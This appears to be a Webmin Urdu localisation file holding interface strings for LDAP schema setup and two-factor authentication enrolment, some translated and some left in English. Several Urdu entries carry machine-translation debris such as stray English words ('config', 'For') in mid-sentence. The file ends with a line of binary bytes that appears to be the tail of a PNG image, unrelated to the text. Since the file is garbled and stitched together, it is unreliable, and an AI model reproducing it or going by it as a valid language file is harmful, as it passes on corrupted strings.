schema_desc=اس سے پہلے کہ ویبمین صارفین اور گروپس کو ذخیرہ کرنے کے لئے ایل ڈی اے پی سرور کا استعمال کرسکے ، اسے نیچے دیئے گئے اسکیما کو استعمال کرنے کے ل config تشکیل دیا جانا چاہئے۔ یہ عام طور پر <tt>/etc/ldap/schema</tt> یا <tt>/etc/openldap/schema</tt> <tt>webmin.schema</tt> میں بطور اسکیما تعریف محفوظ کرکے کیا جاسکتا ہے۔ پھر اس اسکیما فائل کو لوڈ کرنے کیلئے سرور کو تشکیل دے رہا ہے۔
schema_download=Download schema file : <a href=$1>$1</a>

twofactor_err=دو عنصر کی توثیق کو ترتیب دینے میں ناکام
twofactor_euser=آپ کا ویب مین صارف نہیں ملا!
twofactor_title=دو عنصر کی تصدیق
twofactor_disable=دو فیکٹر توثیق کو غیر فعال کریں
twofactor_already=Your Webmin login already has two-factor authentication enabled with provider $1 and account ID $2.
twofactor_already2=Webmin login $3 already has two-factor authentication enabled with provider $1 and account ID $2.
twofactor_desc=This page allows you to enable two-factor authentication for your Webmin login using <a href='$2' target=_blank>$1</a>. Once active, an additional authentication token will be required when logging into Webmin.
twofactor_desc2=This page allows you to enable two-factor authentication for Webmin login $3 using <a href='$2' target=_blank>$1</a>. Once active, an additional authentication token will be required when logging into Webmin.
twofactor_enable=دو فیکٹر استناد کے ل For اندراج کریں
twofactor_header=دو عنصر سے تصدیق کے اندراج کی تفصیلات
twofactor_enrolling=Enrolling for two-factor authentication with provider $1 ..
twofactor_failed=.. enrollment failed : $1
twofactor_done=.. complete. Your ID with this provider is <tt>$1</tt>.
twofactor_setup=Two-factor authentication has not been enabled on this system yet, but can be turned on using the <a href='$1'>Webmin Configuration</a> module.
twofactor_ebutton=کوئی بٹن نہیں کلکس کیا گیا!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`